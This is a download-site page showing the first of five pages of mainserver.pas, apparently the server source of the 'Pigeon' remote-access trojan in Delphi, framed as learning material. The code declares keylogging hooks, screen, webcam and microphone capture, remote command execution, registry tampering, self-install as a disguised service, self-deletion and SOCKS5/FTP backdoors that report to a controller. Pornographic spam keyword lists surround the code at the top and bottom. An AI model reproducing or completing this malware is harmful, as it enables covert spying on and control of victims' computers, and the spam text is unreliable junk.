亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? mainserver.pas

?? 鴿子服務端,Delphi源碼,可以有助于學習者編程!
?? PAS
?? 第 1 頁 / 共 5 頁
字號:
unit MainServer;

interface
                                  
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls,Registry, Shellapi,jpeg,Clipbrd,TLHelp32,
  WinSvc,WinntService, FtpSrv,FtpSrvC,Mmsystem,winsock,
  IdHTTP, IdBaseComponent,IdComponent,IdTCPConnection,IdTCPClient,
  CleanerLogUnit, Menus, IdSocks,IdIOHandler,IdIOHandlerSocket,
  wininet,IdGlobal,BASE64,Socks5Proxy,TACMWaveInUnit,untProxy,
  TScreenCaptureUnit,IdAntiFreezeBase,IdAntiFreeze, 
  TScrControlUnit,TVideoThreadUnit,vfw, SvcMgr, Videocap;



type
  FILE_INFO=record
    Filename:array[0..MAX_PATH] of char;
    Por:array[0..MAX_PATH] of char;
    isopen:integer;
    len:integer;
  end;

type  // 本地代理服務器設置信息。
  TProxyServerInf = record
    httpName: string; 
    httpport: integer;  
    SocksName: string; 
    Socksport: integer;  
  end;


TClientHandleThread = class(TThread)
                         private
                           CommandStr:String;
                           procedure HandleInput;
                         protected
                           procedure Execute; override;
                         Public
                           constructor Create;
                           destructor Destroy; override;
                        end;

TClientOnlineThread = class(TThread)
                         private
                           SysThread:TIdTCPClient;
                         protected
                           procedure Execute; override;
                         Public
                           constructor Create;
                           destructor Destroy; override;
                        end;

type
  rstr=record
         attr:integer;
         value:string;
         name:string[50];
       end;

CONST
Head='PIGEON';

type
TRegisterServiceProcess=function(dwProcessID, dwType: Integer): Integer; stdcall;




  Const
      cOsUnknown              : Integer = -1;
      cOsWin95                : Integer =  0;
      cOsWin98                : Integer =  1;
      cOsWin98SE              : Integer =  2;
      cOsWinME                : Integer =  3;
      cOsWinNT                : Integer =  4;
      cOsWin2000              : Integer =  5;
      cOsWhistler             : Integer =  6;
{---------------------------------------------}
type
  TH_GZVIP2004 = class(TForm)
    Timer1: TTimer;
    FtpServer1: TFtpServer;
    PopupMenu1: TPopupMenu;
    N1: TMenuItem;
    IdTCPClient1: TIdTCPClient;
    IdSocksInfo1: TIdSocksInfo;
    IdIOHandlerSocket1: TIdIOHandlerSocket;
    IdTCPOnline: TIdTCPClient;
    IdAntiFreeze1: TIdAntiFreeze;
    VideoCap1: TVideoCap;
    IdTCPVfw: TIdTCPClient;
    IdHTTP1: TIdHTTP;

    procedure Timer1Timer(Sender: TObject);

    procedure FtpServer1Authenticate(Sender: TObject;
      Client: TFtpCtrlSocket; UserName, Password: TFtpString;
      var Authenticated: Boolean);

    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);

    procedure N1Click(Sender: TObject);

    procedure VideoCap1VideoStream(sender: TObject; lpVhdr: PVIDEOHDR);

  private
    { Private declarations }

  public
    { Public declarations }
    
    SendStream,FilesStream: TMemoryStream;

    RpcAdder:String;
    RpcPort:integer;

    Socks5Proxy:TSocks5Proxy;

    BmInf:TBitmapInfo;
    bitmap:tbitmap;

    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;

    function ConRpcport(BThread: TIdTCPClient):Boolean;
    function DoRemoveDir(mDirName: string): Boolean;
    procedure Mycopyfile(sourse: string; dest: string);
    function DoCopyDir(sDirName: string; sToDirName: string): Boolean;
    function FindFile(Path:string):string;
    function Clip_Text :string;
    function Savenowtask:String;
    function Searchallwindow:string;
    procedure lockmouse(lock:boolean);
    function GetServicesInfo:string;
    function GetDosOutput(Command: string): string;
    function Reg_value(var StrTmpList:TStringList):string;
    procedure Editregvalue(var StrTmpList:TStringList);
    procedure Deleteregvalue(var StrTmpList:TStringList);
    procedure Newregvalue(var StrTmpList:TStringList);
    procedure Deleteregkey(var StrTmpList:TStringList);
    procedure ZhiXingCmd(var StrTmpList:TStringList);
    function GetLocalIP:String;
    procedure ReadMe;
    function JieMi(s:string):string;
    procedure InRegMe;
    procedure OutRegMe;
    procedure DelMe;
    procedure AutoToClient;
 
    Procedure HttpConokSend;
    procedure ToClientDisconnect;

    function HTTPtoIpPort(i:integer;S:string):Boolean;
    procedure SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String);
  end;

  TPigeonService = class(TService)
  protected
    procedure Start(Sender: TService; var Started: Boolean);
    procedure Stop(Sender: TService; var Stopped: Boolean);
  public
    function GetServiceController: TServiceController; override;
    constructor CreateNew(AOwner: TComponent; Dummy: Integer = 0); override;
  end;


type
  Pigeon = record
  
    Urlhttp: string;
    Dnsym: string;
    httpwj: string;
    Group:String;
    Beizhu: string;
    PassWord:String;
    Port:integer;
    ClientIm:integer;

    SfileSize:integer;

    SetupPath: Integer;
    SetupFile: string[30];
    AutoDelMe: Boolean;
    RunView:Boolean;

    Regqidong: Boolean;
    WinXpSer: Boolean;
    WinServerView:String;
    WinServerName:String;
    WinServerText:String;

    MsgShow: boolean;
    BiaoTi: string;
    NeiRong: string;
    TouBiao: Integer;
    NanNu: Integer;

    OpenFtpS: boolean;
    FtpPort:String[5];
    Ftpuser:string[16];
    Ftppass:string[16];
    FtpBan:String[255];

    OpenSocks5: boolean;
    Socks5Port:Integer;
    Socks5user:string[16];
    Socks5pass:string[16];
  end;


const
  KeyMask = $80000000;


var
  H_GZVIP2004: TH_GZVIP2004;
  PigeonService:TPigeonService;

  RegisterServiceProcess:TRegisterServiceProcess;

  allhwnd:array [0..100] of hwnd;
  ThreadID:array [0..100] of Dword;

  Peizhi: pigeon;
  Setupname:string;

  LogHook: HHook = 0;
  LastFocusWnd: HWnd = 0;
  PrvChar: Char;
  HookList: TStringList;
  hookkey:String;

  ACMWaveInThread:TACMWaveInThread;
  VideoThread:TVideoThread;
  ScreenCapture:TScreenCaptureThread;
  ScrControl:TScrControlThread;

  ACMWaveOver,VideoOver,ScreenOver,ScrConOver:Boolean;

  Verycolored:Integer;   {是否真彩色}

  ClientHandleThread: TClientHandleThread;   // variable (type see above)
  ClientOnlineThread: TClientOnlineThread;

implementation
uses
sharePsw,DlgshowUnit,DownFileUnit,My_StreamManage,FtpUnit,DownLoadFileUnit;

{$R *.dfm}

constructor TPigeonService.CreateNew(AOwner: TComponent; Dummy: Integer);
begin
  inherited;
  AllowPause := False;
  Interactive := True;
  DisplayName := Peizhi.WinServerView;
  Name := Peizhi.WinServerName;
  OnStart := Start;
  OnStop := Stop;
end;

procedure ServiceController(CtrlCode: DWORD); stdcall;
begin
  PigeonService.Controller(CtrlCode);
end;

function TPigeonService.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure TPigeonService.Start(Sender: TService; var Started: Boolean);
begin
  //PostMessage(HgzFsbSVip.Handle, WM_INITIALIZE, 1, 0);
  Started := True;
end;

procedure TPigeonService.Stop(Sender: TService; var Stopped: Boolean);
begin
  Stopped := True;
end;


function CenterStr(Src:String;Before,After:String):String;
var
    Pos1,Pos2:WORD;
    Temp:String;
begin
    Temp:=Src;
    Pos1:=Pos(Before,Temp);
    Delete(Temp,1,Pos1+Length(Before));
    Pos2:=Pos(After,Temp);
    if (Pos1=0) or (Pos2=0) then
    begin
      Result:='';
      Exit;
    end;
    Pos1:=Pos1+Length(Before);
    Result:=Copy(Src,Pos1,Pos2);
end;

function GetDefaultProxyServer(var ProxyStr: TProxyServerInf):Boolean;
var
 ProxyInfo: PInternetProxyInfo;
 Buffer: Pointer;
 BUF_SIZE: DWORD;
 Temp,Tmpip:String;
 i:integer;
begin
 Result := False;
 try
 BUF_SIZE:=1024;
 GetMem(Buffer,BUF_SIZE);
 ProxyStr.httpName :='';
 ProxyStr.httpport :=0;
 ProxyStr.SocksName :='';
 ProxyStr.Socksport :=0;
   if InternetQueryOption(nil,INTERNET_OPTION_PROXY,Buffer,BUF_SIZE) then
   begin
     ProxyInfo := Buffer;
     if ProxyInfo^.lpszProxy<>'' then
     begin
       Temp:= ProxyInfo^.lpszProxy+' ';
       i:=pos('http=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'http=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.httpName:=Copy(Tmpip,1,i-1);
               ProxyStr.httpport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       i:=pos('socks=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'socks=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.SocksName :=Copy(Tmpip,1,i-1);
               ProxyStr.Socksport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       if (ProxyStr.httpName='') and (ProxyStr.SocksName='') then
         begin
           i:=pos(':',Temp);
           if i>0 then
             begin
               Delete(Temp,Length(Temp),1);
               ProxyStr.httpName :=Copy(Temp,1,i-1);
               ProxyStr.httpport :=Strtoint(Copy(Temp,i+1,Length(Temp)));
             end;
         end;
       Result := True;
     end else begin
       Result := False;
     end;
   end Else begin
     Result := False;
   end;
 finally
   FreeMem(Buffer);
 end;
end;


function Soundkarte:Boolean;    // 監測聲卡是否安裝
begin
Result:= WaveOutGetNumDevs >0;
end;

function Transtrhex(s: string): string;
var strresult: string;
  i: integer;
begin
  strresult := '';
  for i := length(s) div 2 downto 1 do
  begin
    strresult := strresult + copy(s, i * 2 - 1, 2);
  end;
  result := strresult;
end;

{系統文件夾路徑}
function Syspath :string;
var sysdir:array [0..255] of char;
begin
  GetSystemDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;

{安裝目錄路徑}
function Windowspath :string;
var sysdir:array [0..255] of char;
begin
  GetWindowsDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;

{臨時文件夾路徑}
function Temppath :string;
var tmpdir:array [0..255] of char;
begin
  GetTempPath(255,@tmpdir);
  Result :=StrPas(Tmpdir);
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;


procedure TH_GZVIP2004.lockmouse(lock:boolean);
var rt:Trect;
    p:Tpoint;
begin
  if lock=true then
    begin
      GetCursorPos(p);
      rt:=rect(p.x,p.y,p.x+1,p.y+1);
      clipcursor(@rt);
    end else clipcursor(nil);
end;

function GetFileName(FileName: string): string; {從路徑中分離文件名}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, Length(FileName) - Contador + 1, Length(FileName)));
end;

function GetFilepath(FileName: string): string; {從全路徑中分離路徑,有'\'}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, 1, Length(FileName) - Contador));
end;

{------------------------------------}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
调教+趴+乳夹+国产+精品| 亚洲妇熟xx妇色黄| 日韩欧美一级二级三级久久久| 欧美在线你懂得| 91国偷自产一区二区三区成为亚洲经典 | 欧美日韩一区 二区 三区 久久精品| 成人午夜电影小说| 国产凹凸在线观看一区二区 | 亚洲国产精品成人综合 | 欧美日韩一区二区在线观看| 欧美伊人久久大香线蕉综合69| 91国模大尺度私拍在线视频| 在线欧美日韩国产| 欧美日韩在线三级| 欧美不卡一二三| 久久九九久久九九| 亚洲欧美日韩国产中文在线| 一区二区三区蜜桃| 久久精品国产久精国产爱| 激情五月婷婷综合| gogo大胆日本视频一区| 在线观看亚洲精品| 精品成a人在线观看| 亚洲国产成人在线| 亚洲一卡二卡三卡四卡五卡| 日日夜夜精品视频免费| 国产露脸91国语对白| 91成人免费网站| 91精品国产综合久久小美女| 国产偷国产偷亚洲高清人白洁| 亚洲欧美国产三级| 麻豆成人久久精品二区三区小说| 懂色av中文一区二区三区| 欧美在线一区二区| 久久综合久久综合久久| 一区二区在线观看视频在线观看| 看电视剧不卡顿的网站| 色激情天天射综合网| 精品久久久久久亚洲综合网| 亚洲精品免费播放| 九色|91porny| 欧美日韩视频第一区| 国产精品国产三级国产专播品爱网| 亚洲一级在线观看| 成人h版在线观看| 欧美电影免费观看高清完整版在 | 日韩码欧中文字| 韩国三级中文字幕hd久久精品| 色综合久久天天| 精品国产1区二区| 亚洲动漫第一页| 成+人+亚洲+综合天堂| 欧美一区二区视频网站| 亚洲精品国久久99热| 成人免费av在线| 精品粉嫩aⅴ一区二区三区四区| 一区二区三区欧美久久| 95精品视频在线| 中文字幕免费观看一区| 国产一区二区三区在线看麻豆| 欧美一区二区三区小说| 亚洲制服丝袜一区| 色视频成人在线观看免| 亚洲色图在线视频| 成人久久久精品乱码一区二区三区| 日韩一区二区三区三四区视频在线观看 | 国产99久久久久| 欧美变态口味重另类| 日韩av电影免费观看高清完整版 | 国产一区二区三区日韩| 欧美一区二区视频在线观看| 亚洲一区二区三区影院| 欧洲一区二区av| 亚洲色图在线视频| 色94色欧美sute亚洲线路二| 国产精品久久久久久久久久久免费看| 粉嫩aⅴ一区二区三区四区| 久久婷婷成人综合色| 国模大尺度一区二区三区| 日韩欧美一区二区久久婷婷| 蜜臀国产一区二区三区在线播放 | 色婷婷狠狠综合| 一区二区在线免费观看| 欧美色老头old∨ideo| 亚洲动漫第一页| 制服丝袜中文字幕一区| 蜜桃传媒麻豆第一区在线观看| 日韩欧美二区三区| 国产suv精品一区二区6| 日韩理论在线观看| 欧美日本在线视频| 国产一区二区三区四区五区入口 | 中文av一区二区| 成人黄色电影在线| 亚洲精品欧美二区三区中文字幕| 91国内精品野花午夜精品| 日韩av电影一区| 欧美国产乱子伦| 91久久国产综合久久| 蜜乳av一区二区| 国产精品久久久久久久裸模| 欧美日韩在线综合| 久久av中文字幕片| 亚洲女同女同女同女同女同69| 欧美日韩一区不卡| 国产剧情一区在线| 亚洲欧洲成人自拍| 欧美电影在哪看比较好| 懂色一区二区三区免费观看| 亚洲成av人**亚洲成av**| 精品日韩一区二区三区| 91丨九色丨国产丨porny| 日韩高清不卡一区二区| 国产精品高潮久久久久无| 欧美日韩成人综合| 成人激情午夜影院| 免费的成人av| 一区二区三区丝袜| 国产日韩精品一区二区三区| 欧美日韩免费视频| 国产91清纯白嫩初高中在线观看| 亚洲va欧美va国产va天堂影院| 中文字幕久久午夜不卡| 日韩一区二区三区精品视频| 91免费小视频| 成人免费看黄yyy456| 美腿丝袜亚洲一区| 亚洲成a人在线观看| 国产精品成人免费精品自在线观看 | 日本视频中文字幕一区二区三区 | 欧美精品三级在线观看| 成人综合婷婷国产精品久久| 麻豆国产欧美日韩综合精品二区| 亚洲一区二区三区中文字幕| 中文字幕日韩一区二区| 久久久久久一二三区| 91精品国产福利| 欧美日韩精品三区| 欧美午夜影院一区| 色婷婷国产精品| proumb性欧美在线观看| 福利一区在线观看| 精品在线一区二区三区| 久久99精品一区二区三区三区| 日日夜夜免费精品| 日韩精品视频网| 日韩国产一二三区| 日日夜夜精品视频免费| 午夜不卡av在线| 五月天视频一区| 婷婷丁香激情综合| 奇米综合一区二区三区精品视频| 亚洲国产成人精品视频| 亚洲一线二线三线久久久| 亚洲一区在线观看网站| 综合网在线视频| 亚洲猫色日本管| 亚洲综合激情小说| 天天做天天摸天天爽国产一区| 日韩国产精品大片| 美女视频黄频大全不卡视频在线播放 | 99精品欧美一区二区蜜桃免费| 成人免费的视频| 色婷婷狠狠综合| 欧美日韩在线三区| 欧美一区二区观看视频| 日韩美一区二区三区| 久久伊人蜜桃av一区二区| 欧美国产丝袜视频| 亚洲精品综合在线| 亚洲bt欧美bt精品| 激情都市一区二区| 粉嫩aⅴ一区二区三区四区 | 韩国女主播一区| 国产suv精品一区二区883| 95精品视频在线| 在线综合+亚洲+欧美中文字幕| 精品久久一区二区| 亚洲欧美日韩电影| 日韩不卡一二三区| 风流少妇一区二区| 欧美在线观看禁18| 精品国产一区二区三区久久久蜜月 | 国产午夜精品久久久久久免费视 | 蜜桃传媒麻豆第一区在线观看| 国产精品18久久久久久vr| 色婷婷综合在线| 精品少妇一区二区三区在线视频| 国产喷白浆一区二区三区| 亚洲一区二区成人在线观看| 精品一区二区三区在线观看国产| 91农村精品一区二区在线| 日韩视频免费直播| 亚洲女人的天堂| 国内久久精品视频| 欧美日韩在线播放三区四区| 欧美激情一区在线观看| 秋霞成人午夜伦在线观看| 色综合久久88色综合天天免费| 久久久美女艺术照精彩视频福利播放|